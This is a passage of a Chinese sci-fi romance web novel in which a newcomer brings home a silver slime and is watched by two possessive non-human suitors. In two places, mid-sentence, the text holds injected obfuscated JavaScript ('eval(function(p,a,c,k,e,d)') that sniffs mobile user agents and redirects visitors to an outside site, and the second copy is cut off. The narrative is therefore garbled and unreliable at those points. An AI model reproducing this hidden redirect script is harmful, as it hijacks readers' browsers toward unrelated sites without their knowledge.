方叙白这才发现,柜子里竟然整齐地放着一套东西:一个透明的、大约篮球大小的圆形玻璃培养皿,底部铺着一层细腻的白色沙砾和几颗光滑的鹅卵石;一小瓶标注着“C级异质生命体基础营养液”的淡蓝色液体;甚至还有一个巴掌大的、似乎是用来调节培养皿内部环境的微型控制器。 一切都准备得如此周全,仿佛早就料到他会做出这个选择。 “用这个。”怀景将培养皿和营养液递给方叙白,“基础环境维持足够了。控制器暂时用不上,它现在很‘虚弱’,稳定在室温就行。营养液每次滴一滴,一周一次,过量会撑爆它。” 方叙白接过东西,心情复杂。 一方面为这团小史莱姆暂时有了容身之所而松了口气,另一方面,怀景这种仿佛洞悉一切、提前准备好的举动,又让他心底泛起一丝莫名的寒意。 他小心翼翼地将掌心的史莱姆转移到铺着细沙的培养皿中。 小家伙似乎有些不适应,在沙砾上微微蠕动了几下,但很快,微弱的银光又稳定地亮了起来,安静地待在玻璃罩的中心。 “走吧。”怀景率先转身,“我正好也要离开实验室,一起出去。” 方叙白抱着培养皿跟在后面。 再次穿过那几道厚重的气密门,回到了通往主实验室大楼的通道。 雨声透过落地窗传来,依旧瓢泼。 怀景拿起伞,撑开,再次将伞面向方叙白倾斜。 两人再次挤进这狭小的、隔绝了雨声的空间。潮湿的水汽混合着怀景身上那种极其干净的、带着消毒水底味的纯粹气息,再一次包裹住方叙白。 难以言喻的熟悉感涌来,比刚才更加强烈。 是在哪里? 可眼前的怀景,明明是陌生的。 方叙白忍不住侧头看向怀景。 轮廓分明的侧脸在伞下的阴影里显得冷静,黑发被雨水沾湿了些许,贴在额角。 他走路的姿态很稳,手臂平稳地举着伞,没有一丝晃动,仿佛一尊精准的机器。 为什么会对一个刚刚认识的研究员产生这种奇怪的熟悉感? 仅仅因为他罕见的黑发黑眸,让他想起了故乡? 他们即将走出实验室主建筑,刺耳的警笛声撕裂了雨幕! 几辆装甲悬浮车冲开雨幕,刹停在实验室大楼入口前。 车门猛地弹开,跳下来七八个穿着黑色作战服、荷枪实弹的执法队员。 领头的是一个身材魁梧、脸上有一道狰狞疤痕的光头男人,眼神凶悍,正对着通讯器低吼:“封锁A16、B11通道!妈的,反应堆能量读数刚刚又异常波动!肯定是‘血肉花圃’那帮疯子干的!那截残骸到底怎么丢的?!” 另一个队员快速报告:“头儿!痕迹组反馈,最后能量信号消失在旧城废墟边缘!那边污染读数超标,还有未知A级能量残留!那鬼东西可能……活了!” “活个屁!”疤脸光头咆哮着,“死透了的S级残骸还能诈尸?肯定是被人偷了!‘花圃’那帮杂碎最喜欢收集这些玩意儿搞他们的邪教仪式!掘地三尺也要把那截骨头给我挖出来!通知‘壁垒’,提高旧城废墟警戒等级!绝不能让那鬼东西落到他们手里!” 他吼完,目光锐利地扫视周围,立刻锁定了刚从实验室大门走出的怀景和方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17306309|172174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叙白。 “喂!那边的!”疤脸光头大步流星地走过来,眼神像刀子一样刮过两人,“‘源’实验室的?见到什么可疑人员没有?特别是带着可疑包裹,或者身上有高污染残留反应的!” 他的视线在方叙白抱着的、明显装着活物的培养皿上停留了一瞬,眉头皱得更紧。 方叙白的心瞬间提到了嗓子眼。 怀景的反应却极其平静。 他微微侧身,不着痕迹地将方叙白挡在了自己身后半步的位置,迎向男人视线。 方叙白以为怀景会立刻回答,但怀景的身体似乎极其短暂地僵直了一下。 僵直极其细微,几乎无法察觉,就像精密仪器在接收到错误指令时瞬间的卡顿。 怀景的头微微低垂了几度,浓密的睫毛垂下,遮住了他黑眸中的神色。 他的嘴唇似乎极其细微地抿紧了一瞬,喉结也几不可察地滑动了一下。 有那么一瞬间,方叙白甚至产生了一种错觉:眼前的怀景,仿佛灵魂离体,变成了一个空壳。 但仅仅是一瞬间。 下一秒,怀景抬起头,脸上已经恢复了那种略带疏离的平静表情。 他甚至还微微蹙了下眉,似乎在努力回忆。 怀景开口,声音带着一丝被打扰的不悦和公事公办的严谨,“我是异种生态研究组的怀景。半小时内,实验室内部监控显示一切正常,出入登记只有我和这位新入职的安抚员方叙白。至于外部……” 他抬手指了指被暴雨冲刷得一片模糊的远方,“这种天气,视线和感知都被严重干扰。我们没有观察到任何异常活动。” 他顿了顿,目光落在方叙白怀里的培养皿上,语气自然地补充:“这是实验室废弃的C级样本,由方先生带走进行无害化处理前的观察记录。需要查验吗,长官?” 他的解释条理清晰,语气不卑不亢。 疤脸光头狐疑地盯着怀景看了几秒,又扫了一眼方叙白和他怀里那团看起来毫无威胁的银灰色粘液,显然对这种“废弃物”毫无兴趣。 “妈的,浪费时间!”他烦躁地啐了一口,“都给我听着!旧城废墟方向!目标:可能携带S级异种残骸的可疑分子!给老子搜!一寸也别放过!” 他不再理会怀景和方叙白,转身,着一群队员冲回装甲车。 引擎轰鸣,悬浮车再次撕裂雨幕。 方叙白长舒了一口气,后背已被冷汗浸湿。 “走吧。”怀景的声音打断了他的思绪。 他撑起伞,重新将方叙白纳入伞下,仿佛刚才的插曲从未发生。“雨更大了。” 两人沉默地走入通往生活区的连廊。 很快,他们抵达了原本大楼的入口。 几张拼接的金属桌旁散落着几个穿着白大褂的身影。 马克正对着一个打开的储物柜皱眉,里面挤挤挨挨塞着十几把伞,长柄的、折叠的,有的伞骨歪扭着戳出来,还有两把黑色长柄伞的伞面被硬生生折出了死褶。 “我说,这柜子是被谁当成伞坟了?”马克伸手扒拉了两下,他啧了声,扭头冲旁边整理实验记录的同事抱怨,“上周明明还空着大半,这才几天?塞得连个纸杯都放不下了。你看这把,伞面都折裂了,谁这么缺德?” 旁边戴眼镜的研究员推了推镜片,瞥了眼那堆“伞山”,笔尖在记录板上顿了顿:“还能是谁?估计是那帮跑外勤的。之前暴雨,回来全往这儿塞,哪管什么折没折。上次科林那把银灰色的不就被挤变形了?他还在茶水间骂了半天。” 马克嗤笑一声,“科林那脾气,怎么不自己找个箱子锁起来?再说了,谁让他非买那种娇贵的自动伞,碰一下就坏。你看怀景主管那把黑长柄,扔最底下压了一周,拿出来照样能用。” “怀景主管……”戴眼镜的研究员抬了抬眼,“他哪会在乎这个。” 马克撇撇嘴,砰地关上柜门:“反正下次再塞,我就全扔到处理区去。这破柜子是放实验耗材的,又不是伞窖。” 所以……方叙白想着就他们刚刚出去就撞见唯一一把放外面的伞,未免太巧了。 他侧头看向怀景。 “就剩我们这一把了。”方叙白开口,语气里带着点说不清的试探。 怀景的手顿在半空,黑眸扫过伞架,又落回他脸上,没什么情绪起伏:“嗯。” 方叙白没再追问。 他抱着装着史莱姆的培养皿往后退了半步,给怀景腾出手的空间,心里却忍不住嘀咕。 “咔嗒。”怀景已经将伞收拢。 怀景喉结几不可察地滚动了一下。 【人类真是麻烦。】 【为什么要在意伞的数量?为什么要追问巧合?安安静静走进雨里不行吗?如果能把这些多余的神经突触全掐断……】 念头刚起,他学着马克他们吐槽:“不知道哪个家伙把伞全塞储藏柜了,上次路过还看见里面堆得像垃圾山,有的伞骨都折了。” “我们运气好,出来还有一把。” 方叙白愣了一下。 没想到怀景会突然接话吐槽,这让他之前那点怪异感淡了些,反而觉得这人似乎也没那么难接近。 “方先生!你去哪了?” 方叙白抬头,看见艾登抱着一摞文件跑过来,棕色卷发被汗水打湿了几缕,贴在额头上,小雀斑在苍白的脸上更明显了。 他跑到近前才停下,胸口还在起伏,目光直直地落在方叙白身上,像是怕他跑掉似的。 “我刚才去标本库了。”方叙白被他看得不自在,“抱歉,没提前跟你说。” 艾登的视线在他和怀景之间转了一圈,又落回他脸上,眼睛眨也不眨,像是要把他这半小时的行踪从脸上看出来。 过了几秒,他忽然低下头,耳朵尖泛起红,声音细若蚊蚋:“没、没关系……我本来想给你讲讲‘缠枝’的能量波动图谱,怕你明天上手生疏。” “工作时间,不去整理数据,跑来找新同事闲聊?”怀景的声音冷不丁响起,他侧着身,黑眸扫过艾登怀里的文件,“博格教授没告诉你,下午要交第一季度的污染阈值报告?” 艾登的身体猛地一僵,抱着文件的手紧了紧,脸上的红晕瞬间褪成苍白:“我、我处理完了……就想来看看方先生有没有需要帮忙的……” 怀景没再看他。 【镜像神经元过度活跃导致的社交侵入倾向。】 他在心里冷静地标注…… 【杏仁核异常放电引发的无意义脸红。这种低效的神经活动……真想用高频电流彻底摧毁。】 怀景咬牙。 【不行。这具身体的自主神经系统还没完全适配,过度情绪波动会导致毛细血管破裂。】 他收回目光,重新看向方叙白,语气恢复了之前的平淡:“走吧。再不走,你的‘新宠物’该缺氧了。” 方叙白这才注意到培养皿里的史莱姆似乎蜷缩了些,连忙应了声“好”,跟着怀景往里走。 艾登站在原地:“不是……报告……我做完了啊……” 25.第 25 章 雨势渐小,但天空依旧阴沉得令人窒息。 方叙白抱着装有银色史莱姆的培养皿,跟在怀景身后穿过实验室生活区的连廊。 培养皿中的小东西安静地蜷缩着,偶尔泛起微弱的银光,像是在呼吸。 “你住在宿舍区吗?”方叙白打破沉默。 怀景的脚步几乎没有停顿,只是微微侧头,“11栋602。” 他补充,“你应该也在这附近。” 方叙白犹豫了一下:“我……不打算住宿舍。” 怀景的脚步突然停住了。 他转过身,黑眸直视方叙白,眉头几不可察地蹙了一下。 方叙白移开视线,盯着培养皿中微微蠕动的史莱姆:“实验室的宿舍……不太适合我。” 怀景的嘴角绷紧了。 他的目光在方叙白脸上停留了几秒,然后缓缓下移,扫过他略显凌乱的金色长发,微微泛红的耳尖。 怀景的瞳孔收缩,捕捉到了关键信息。 【实验室宿舍不适合?】 【因为科林?因为艾登?还是因为那些无处不在的、黏腻的视线?】 【人类真是麻烦的生物。明明弱小得不堪一击,却总能为彼此制造出无穷无尽的困扰。】 怀景的喉结滚动了一下,吞咽的动作极其轻微,几乎不可察觉。 他强迫自己放松面部肌肉,嘴角勾起一个恰到好处的弧度,这样既不会显得过于关切,又足够表达友善的询问。 “那么,“怀景的声音平稳得没有一丝波澜,“你现在住在哪里?” 方叙白的睫毛颤动了一下。 他抬起头,对上怀景看似平静的目光,却莫名感到一阵寒意。 那双眼睛太黑了,黑得像没有星星的夜空,深不见底。 “绿荫小区,”方叙白听见自己干涩的声音,“6号楼1单元。和……朋友合租。” 怀景的表情凝固了一瞬。 他的瞳孔骤然收缩,又迅速恢复正常,快得几乎像是错觉。 【绿荫小区。】 【外来者聚集地。】 【廉价。拥挤。】 【几乎都是一居室。】 怀景的大脑像一台高速运转的计算机,迅速调取着关于那个小区的所有信息。 他的手指在身侧微微抽搐,抑制着某种强烈的冲动。 【合租?】 【一居室怎么合租?】 【除非……睡同一张床。】 这个念头像一根尖锐的针,狠狠刺入怀景的思维核心。他的太阳穴突突跳动,后槽牙咬得发酸,却依然保持着表面的平静。只有最敏锐的观察者才能注意到,他颈侧的肌肉绷紧了,喉结再次滚动,像是在吞咽某种苦涩的液体。 “朋友?”怀景的声音依然平稳,但尾音微微上扬,带着一丝几不可察的尖锐,“实验室的同事?” 方叙白沉默了一下,因为暂时不知道该怎么去解释,如果一定要解释的话,那说起来就太长了,还得从他从污染区怎么跑出来的开始讲。他低下头:“不,是……之前认识的人。斯莱瑟。” 说出这个名字的瞬间,方叙白感到一阵莫名的心虚。 不知道为什么……第六感告诉他,不要在怀景面前提到这个名字。 怀景的表情好像没有丝毫变化。 【斯莱瑟。】 【那条该死的蛇。】 【狡猾。卑鄙。无耻。】 怀景的思维核心被一阵强烈的情绪波动冲击着,几乎要冲破他精心维持的冷静表象。 他的大脑飞速运转,分析着各种可能性,计算着最优解。 【他怎么能……怎么敢……】 【用这种低劣的手段。】 【一居室。合租。睡同一张床。】 【我早该想到的。】 怀景的舌尖抵住上颚,强迫自己冷静下来。 他的面部肌肉放松,嘴角甚至微微上扬,露出一个堪称完美的微笑:“绿荫小区离实验室有点远。通勤方便吗?” 方叙白松了口气,似乎庆幸话题转向了安全区域:“还好,有直达的巴士。” 他犹豫了一下,又补充道,“其实……我们只是暂时住那里。等这个月工资发了,我会找其他地方。” 怀景的眉毛几不可察地挑了一下:“经济上有困难?” “斯莱瑟的存款不多,“方叙白的声音越来越小,几乎像是在自言自语,“那个小区……比较便宜。” 怀景的瞳孔微微扩大。 他的呼吸停滞了一瞬,胸口像是被什么东西重重击中。一种前所未有的情绪在他的核心处理器中炸开。 愤怒?嫉妒?还是某种更复杂的、难以定义的感觉? 【存款不多?】 【便宜小区?】 【多么完美的借口。】 【把妈妈困在那个狭小的空间里,朝夕相处。】 【睡同一张床。共用浴室。分享每一寸空气。】 怀景只觉得似乎这具身体的内部器官都在出血 ,疼痛感帮助他维持着表面的平静。 他的大脑飞速运转,分析着斯莱瑟可能采取的行动模式,计算着各种干预方案的可行性。 “实验室有员工紧急援助基金,“怀景的声音依然平稳,但语速略微加快,“如果你需要,我可以帮你申请预支部分工资。” 方叙白惊讶地抬头:“真的可以吗?” 怀景点头,瞳孔深处闪过一丝得逞:“当然。程序很简单。” 他停顿了一下,像是随口一提,“足够你租一间了。” 方叙白的眼睛亮了起来:“那太好了!我……我真的不想再麻烦斯莱瑟了。” 怀景的嘴角微微抽动。 他迅速调整表情,露出一个堪称温和的微笑:“不麻烦。明天上班后,来我办公室填表。” 【愚蠢的蛇。】 【你的计划落空了。】 【妈妈很快就会有自己的空间。】 【安全。独立。远离你的毒牙。】 他们走到了连廊尽头。 雨已经停了,但空气中依然弥漫着潮湿的气息。 怀景停下脚步,转向方叙白:“需要我送你回……绿荫小区吗?” 方叙白摇摇头,抱紧了怀中的培养皿:“不用了,谢谢。公交站就在前面。” 怀景的目光落在方叙白怀中的史莱姆上。 那团银灰色的粘液似乎感应到了他的注视,微微蠕动了一下,表面泛起一丝微弱的银光。 “照顾好它,“怀景轻声说,声音里带着一丝难以察觉的温柔,“它很……特别。” 方叙白低头看着培养皿中的小生命,不自觉地微笑起来:“我会的。它看起来……很乖。” 怀景的嘴角微微上扬,露出一个真实的、几乎称得上温暖的笑容。 这个表情让他整个人突然生动起来,像是精密仪器突然被注入了生命。 “明天见,方叙白。”怀景的声音柔和。 方叙白点点头,转身走向公交站。 他没有看到,在他背后,怀景的表情逐渐凝固,最终回归到那种近乎冰冷的平静。 怀景站在原地,目送方叙白的背影消失在人群中。 【特别。】 【当然特别。】 【那是从我本体分离出的一块碎片。】 【我的一部分。】 【现在,它在妈妈手中。】 怀景的瞳孔在阴影中微微收缩,黑色逐渐被一丝银光取代。 他的舌尖舔过突然变得尖锐的犬齿。 【等着我,妈妈。】 【很快,我们就能真正重逢了。】 …… 雨后的空气格外湿冷,方叙白裹紧了单薄的外套,将装着银色史莱姆的培养皿小心地护在怀里。 小家伙似乎也感受到了寒意,缩在铺着细沙的角落,银光黯淡地起伏,是极其微弱的心跳。 “再坚持一下,马上就有暖气了……” 绿荫小区那间狭小的一居室,至少比这站台强。 “让开!滚开啊!!!” 一个身影如同失控的炮弹,从候车亭后方的人群中猛地撞出,带着一股令人作呕的甜腻花香,狠狠撞在方叙白的肩膀上! “砰!” 剧痛瞬间从左肩炸开,方叙白整个人被撞得向后踉跄,脊背重重磕在冰冷的广告牌支架上,发出沉闷的声响。 怀里的培养皿脱手飞出! “啊!”方叙白身体在倒地前硬生生拧转,伸出双手。 万幸! 玻璃体被他险之又险地捞回怀中,紧紧抱住。里面的银色史莱姆似乎受到了巨大的惊吓,猛地收缩成一小团,银光急促地闪烁了几下,几乎熄灭。 “操!没长眼睛啊?!”方叙白疼得龇牙咧嘴,怒火中烧,冲着那肇事者消失的方向破口大骂。 那撞人的身影根本没有停留,甚至没有回头看一眼。 那是个男人,穿着沾满泥泞污渍的工装服,头发凌乱如鸟窝,奔跑的姿态更是怪异,手脚并用地在路面上蹬踹、爬行,仿佛身后有择人而噬的恶鬼追赶。 他嘴里发出意义不明的、嗬嗬的抽气声,转眼就消失在街角阴影里。 “妈的,神经病!”方叙白揉着剧痛的肩膀,感觉骨头都要裂开了,心里一阵后怕。 刚才要是没接住,小东西……他低头看向培养皿,里面的史莱姆依旧蜷缩着,但银光开始缓慢地、微弱地重新亮起,像受惊后努力平复的小动物。 他松了口气,随即又涌起一股荒谬的愤怒和委屈。 这鬼地方,连等个车都能碰上疯子! 刺耳的刹车声响起,公交车停靠在站台。门“嗤”地一声滑开。 方叙白忍着肩痛,护着怀里的宠物,随着人流挤上了车。 车内光线昏暗。 他找了个靠窗的单人座坐下,将培养皿小心地放在腿上。 玻璃窗紧贴着额角,窗外飞速倒退的街景模糊成一片流动的色块。 困意……毫无预兆地,如同潮水般袭来。 很奇怪,这是一种深入骨髓的、带着某种粘稠重量的倦怠。 眼皮沉重得像是灌了铅,视野开始旋转、模糊。 耳边的引擎轰鸣、乘客的低语、报站器的电子音…… 全都扭曲变形,拉长、揉碎,最终被一种更清晰、更迫近的声音覆盖。 【母亲……】 那声音不再是单纯的呼唤,而是带着一种令人毛骨悚然的……渴求? 【好香……】 【靠近些……再靠近些……】 【给我……给我你的……】 声音细碎、重叠,扎进他的脑髓深处,嗡嗡作响。 方叙白猛地打了个激灵,试图睁开眼驱散这幻听,但眼皮只勉强掀开一条缝,窗外的景象却让他瞬间僵住。 车窗外…… 他看到了一片……花海? 不,景象诡异得无法形容! 公交车正沿着一条通往城外的快速路飞驰。 道路一侧,是绵延的、被高强度合金防护网严密围起来的区域,这是安全区著名的“缠枝”异种相关的花圃培育基地。 平日里,这片区域由“源”实验室管理,种满了经过基因改造、能吸收并转化微量污染的特殊观赏植物“金盏藤”,是安全区重要的空气净化屏障之一。 但此刻,防护网内,无数形态扭曲、颜色妖异的“花朵”正在疯狂地……转向! 那些所谓的“金盏藤”,更像是一根根覆盖着暗绿色鳞片、顶端裂开巨大口器的植物! 口器边缘布满细密的、如同昆虫口器般的倒刺。 公交车飞速掠过。 “唰——!” 如同被无形的磁石吸引,又像是接收到某种统一的指令! 防护网内,成千上万根这样的“花”,猛地扭转了它们那覆盖着鳞片的、粗壮的“茎秆”! 所有裂开的口器,所有流淌着粘液的、布满倒刺的“花冠”,齐刷刷地对准了高速行驶的公交车! 不,更准确地说,是对准了公交车里靠窗坐着的他! 无数张布满细密倒刺的“口器”黑洞洞地张开,仿佛在无声地呐喊、贪婪地吸吮! 那整齐划一的动作,那密密麻麻的、充满恶意和渴求的“注视”,形成了一幅足以让任何人精神崩溃的恐怖图景! “嗬——”方叙白倒抽一口冷气,头皮炸开!这不是幻觉!绝对不是! “阿嚏!阿嚏阿嚏——!!!” 几乎在那些“花朵”转向的同时,一股极其浓烈、甜腻到令人作呕的味道,如同实质的毒雾,无视了紧闭的车窗缝隙,蛮横地钻入方叙白的鼻腔! 强烈的刺激让他完全无法控制,一连串惊天动地的喷嚏打得他眼泪鼻涕一起涌出,头晕目眩,几乎从座位上弹起来! 怀里的培养皿差点再次脱手! “喂!后面那个!搞什么鬼?病犯了就滚下去!别在车上传染!” 前排一个中年男人回头,恶狠狠地瞪着他。 “对、对不起……阿嚏!”方叙白眼泪汪汪,狼狈不堪,只能死死捂住口鼻。 他蜷缩起身子,恨不得把自己缩成一团,隔绝那无处不在的、令人窒息的花粉味和窗外那无数道贪婪的“视线”。 公交车司机似乎也察觉到了什么,猛地一脚油门踩到底。 直到那片恐怖的“花海”被远远甩在车尾,消失在灰蒙蒙的雨雾中,方叙白才感觉那几乎要刺穿他灵魂的密集“视线”稍微减弱了一些。 困倦感再次如跗骨之蛆般涌上。 幻听并未消失,反而在昏沉中更加清晰: 【母亲……别走……】 【回来……回到我们身边……】 【我们需要你……】 声音夹杂着一种幽怨的、如同藤蔓缠绕般的挽留。 方叙白死死咬住下唇,用疼痛强迫自己保持一丝清醒。 他不敢再看向窗外,只把脸深深埋进臂弯。 银色史莱姆似乎感受到了他的恐惧和不适,微弱地蠕动了一下,轻轻闪烁。 终于,伴随着一声刺耳的刹车和放气声,公交车停在了绿荫小区的铁门外。 “终点站!绿荫小区!全部下车!” 方叙白双脚踩在地面上,他才找回一丝脚踏实地的感觉。 他大口喘着气,快步走向6号楼1单元。 楼道里一片漆黑,声控灯似乎又坏了。 他摸索着冰冷的扶手,一步步向上爬,脚步声在空旷的楼道里发出空洞的回响。 终于,他停在了熟悉的、贴满小广告的房门前。 掏出钥匙,熟悉的金属触感让他稍微安心。 钥匙插入锁孔,转动—— “咔哒。” 钥匙转动锁孔的“咔哒”声还没消散,一股熟悉气息就扑面而来。 方叙白刚推开门一点点,脚踝就被什么冰凉滑腻的东西缠住了,力道不轻不重,却带着不容挣脱的执拗。 “你回来啦!” 斯莱瑟的声音钻出来,瞬间炸碎了楼道里的死寂。 方叙白推开门,就看见红发青年盘腿坐在冰凉的地板上,暗红色的蛇尾正以极其灵活的弧度圈着他的小腿,鳞片蹭过布料,发出细碎的“沙沙”声。 “别总用尾巴缠人。”方叙白弯腰想掰开那圈冰凉的束缚,手指刚触到鳞片,蛇尾就像有了自主意识般收紧,反而把他的脚踝勒得更紧了些。 斯莱瑟仰头看他,红色的瞳孔在昏暗的光线下亮得惊人,像两簇跳动的火焰。 他明明比方叙白高出小半个头,此刻站起来,却刻意缩着肩膀,姿态显得有些委屈,甚至带着点讨好的意味:“一天没见了嘛,想你了。” 话音未落,他突然往前一扑,高大的身躯带着一股风撞进方叙白怀里。 方叙白踉跄着后退半步才稳住身形,胸口立刻感受到一片温热的重量。 斯莱瑟居然把脸埋在了他的胸口,像只大型犬似的蹭了蹭,蛇尾也顺着小腿往上蔓延,缠上了他的膝盖。 “喂!”方叙白被这突如其来的亲昵弄得浑身僵硬,抬手推他的肩膀,“起开,压着我了。” 斯莱瑟却耍赖似的不肯动,反而得寸进尺地用脸颊蹭他的锁骨,声音闷闷的:“就一会儿,你身上暖和。” “暖和也不行。”方叙白加重了力气,终于把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他简单说了说科林动手动脚和艾登过分热情的事,没注意到斯莱瑟的脸色正以肉眼可见的速度变得阴沉,红色的瞳孔里翻涌着压抑的戾气,蛇尾在地板上轻轻拍打,发出“啪嗒啪嗒”的声响,像是在极力克制着什么。 “他们敢!”斯莱瑟猛地攥紧拳头,“这些混蛋是不是活腻了?居然敢骚扰你!等着,下次我见到他们……” “行了。”方叙白打断他,“我已经避开了,没必要跟他们计较。” 他不想在这种事上多费口舌,转而拿起培养皿,看着里面悠闲蠕动的史莱姆:“对了,我带回来个小东西。” 斯莱瑟的注意力果然被转移了,他探头看向培养皿,当看清那团银灰色的粘稠体时,瞳孔骤然收缩,像是被什么蛰了一下,下意识地往后缩了缩:“这、这是什么?!” “实验室废弃的样本,我觉得它挺乖的,就带回来了。”方叙白戳了戳培养皿的玻璃壁,史莱姆似乎被惊动了,朝着他手指的方向蠕动过来,轻轻撞了撞玻璃,“我们养它吧,当宠物。” 斯莱瑟的声音陡然拔高,像是听到了什么天方夜谭,“你居然想养这种东西?它可是异种衍生物!万一它突然暴走怎么办?万一它有毒怎么办?” “它只是C级衍生物,没什么危险的。”方叙白耐心解释,“而且它好像能感觉到我的能量,刚才在公交车上受了惊吓,还是它提醒我的。” 斯莱瑟盯着那团史莱姆,眼神复杂。 他能感觉到这小东西身上散发着微弱的能量波动,虽然很淡,却让他莫名地感到烦躁,像是某种潜在的威胁。 但看着方叙白期待的眼神,拒绝的话到了嘴边又咽了回去。 “……随便你。”他别过头,语气闷闷的,“不过要是它敢伤害你,我立刻把它扔出去。” 方叙白笑了笑,知道这已经是斯莱瑟能做出的最大让步了。 他把培养皿放在窗台上,让小家伙能晒到一点天光,然后转身看向还站在原地的斯莱瑟:“你今天一直在这等着?” “嗯!”斯莱瑟立刻点头,像是突然想起什么喜事,脸上的阴霾一扫而空,兴冲冲地说,“我有个好消息要告诉你!” “什么好消息?”方叙白好奇地看着他。 斯莱瑟挺起胸膛,脸上带着掩饰不住的得意:“我找到工作了!就在你说的那个源实验室!” 方叙白愣住了:“源实验室?你?” 他不是怀疑斯莱瑟的能力,只是以这家伙连安全区通用文字都认不全的水平,怎么可能进得了那种高规格的实验室? 斯莱瑟的脸颊微微泛红,有些不自然地挠了挠头发:“也、也不是正式员工啦,就是个助理……帮忙搬搬东西,打扫打扫卫生什么的。” 说白了就是苦力。 方叙白心里了然,看着斯莱瑟有点窘迫的样子,没戳破,只是笑了笑:“那也挺厉害的,至少有份稳定的工作了。” “那是!”斯莱瑟立刻又得意起来,凑到方叙白身边坐下,蛇尾再次缠上他的小腿,这次的力道很轻,像在撒娇,“以后我们就能一起上下班了,我还能保护你,看谁还敢欺负你!” 方叙白无奈地拍了拍缠在腿上的蛇尾:“知道了,不过你也别惹事,尤其是在实验室里,那里规矩多。” “我知道啦。”斯莱瑟答应着,鼻子却突然动了动,像是闻到了什么奇怪的味道,眉头皱了起来,“你身上……好像有股奇怪的味道。” “奇怪的味道?”方叙白下意识地闻了闻自己的衣服,“没有啊,我今天没碰什么特别的东西。” “有的。”斯莱瑟肯定地说,凑近了些,鼻尖几乎要碰到方叙白的脖颈,仔细地嗅着,“一股很臭的花香,还有点滑腻腻的味道,像是什么粘液……不是我的,也不是污染物的。” 方叙白心里咯噔一下。 斯莱瑟突然抬起头,眼神里带着一丝困惑和警惕:“还有……好像有别的味道,很淡,但很陌生,像是……另一个异种的气息。” 方叙白的心提了起来,强作镇定:“你想多了吧?实验室里都是研究员,哪来的异种?” 斯莱瑟没说话,只是定定地看着他,红色的瞳孔里闪烁着探究的光芒,仿佛想从他脸上看出点什么。 过了几秒,他才缓缓移开视线,语气有些沉闷:“可能吧,也许是我太敏感了。” 但方叙白能感觉到,缠在自己腿上的蛇尾又收紧了些。 斯莱瑟的喉结滚动了一下,转移话题,他看着那团史莱姆,眼神依旧警惕,但语气却软了下来:“真的……不会有事?” “真的。”方叙白肯定地点点头,“我会看好它的,不会让它乱跑。要是它敢不听话,我就把它送回实验室,好不好?” 斯莱瑟盯着史莱姆看了很久,久到方叙白以为他不会同意的时候,他才闷闷地“嗯”了一声,尾巴却依旧固执地缠在方叙白的小腿上。 “那你得答应我,每天都要给我检查它有没有异常。”斯莱瑟的声音带着一丝不情愿,“要是它敢长歪一点,我立马就把它处理掉。” “好。”方叙白笑了笑,终于松了口气。 斯莱瑟这才慢慢松开尾巴,却又顺势抓住了方叙白的手腕,拉着他往客厅走:“快进来吧,外面冷。我给你留了吃的,是低污染区买的烤肠,跟你描述的那种很像——” 他的话匣子一旦打开就收不住,从烤肠的味道说到今天去实验室面试的趣事,叽叽喳喳的像只停不下来的麻雀。 “……那个面试我的老头,居然让我写自己的名字!你说可笑不可笑?我哪会写什么字啊,最后还是他帮我签的。不过他说我力气大,适合搬东西,明天就能上班了……” 方叙白听着他絮絮叨叨,低头看了看怀里的培养皿。 他忽然觉得,这个光怪陆离的世界,似乎也不是那么糟糕。至少,还有人会为他担心,会因为他养了一只奇怪的宠物而大发脾气。 客厅的灯光暖黄而柔和,映在斯莱瑟兴奋的侧脸上,给他红色的发丝镀上了一层金边。 方叙白看着他喋喋不休的样子,嘴角忍不住微微上扬。 但他完全没注意,斯莱瑟眼底闪过一丝极深的阴霾。 他看着方叙白怀里那团银灰色的粘液,心里闪过几万种杀掉它的办法。 这不是普通的异种衍生物。 他能感觉到,那团粘液里蕴含着一股熟悉的气息,和诺卡斯身上的味道如出一辙。 诺卡斯那个混蛋,果然还没死心。 斯莱瑟的尾巴在身后悄然绷紧,鳞片反射出冰冷的光泽。 不管这团东西是谁派来的,只要敢抢走方叙白,他就会毫不犹豫地把它撕碎。 妈妈只能是他一个人的。 永远。 26.第 26 章 方叙白蹲在地上,看着冷藏层里码得整整齐齐的蔬菜。 低污染区的物资果然充裕。 翠绿的生菜还带着水珠,番茄红得发亮,连胡萝卜都比污染区见的饱满许多。 “想做饭?” 斯莱瑟的声音从身后传来。 方叙白回头,看见红发青年斜倚在厨房门框上,暗红色的蛇尾随意地搭在地板上,鳞片泛着油亮的光泽。 “嗯,”方叙白站起身,拍了拍手上的水珠,“冰箱里东西挺多的,总吃速食也不是办法。” 他转身想去拿手机查食谱,手腕却被冰凉的鳞片缠住。 斯莱瑟顺势凑近,鼻尖几乎要碰到他的脸颊,呼吸里带着淡淡的草木清香:“我帮你啊?这几天在家没事,我学了几道家常菜。” 方叙白下意识想躲,却被蛇尾轻轻勒了一下。斯莱瑟的红瞳亮晶晶的:“真的,我还记了笔记呢。” 他说着就往客厅跑,尾巴在地板上拖出细碎的声响。 方叙白看着他雀跃的背影,忽然觉得这场景有点好笑,低头时却对上了窗台上那双“眼睛”。 培养皿里的史莱姆不知何时爬到了边缘,银灰色的身体微微起伏,表面泛着一层极淡的银光。 它似乎在“看”向厨房,那团没有五官的粘液竟透出几分好奇。 方叙白走过去,指尖轻轻敲了敲玻璃壁:“饿了?” 史莱姆猛地收缩了一下,随即又缓缓舒展开,朝着他的方向蠕动过来,软乎乎地贴在玻璃上。 方叙白想起刚刚查的饲养指南,说C级史莱姆对温和的能量波动有反应,他试着将一丝微弱的治愈能量渡过去,小家伙果然兴奋起来,在细沙上扭出个不规则的圈。 “等会儿给你做吃的。”方叙白失笑,转身打开手机。 【C级异宠饲养指南:从入门到放弃】 【论史莱姆的一百种投喂方式】 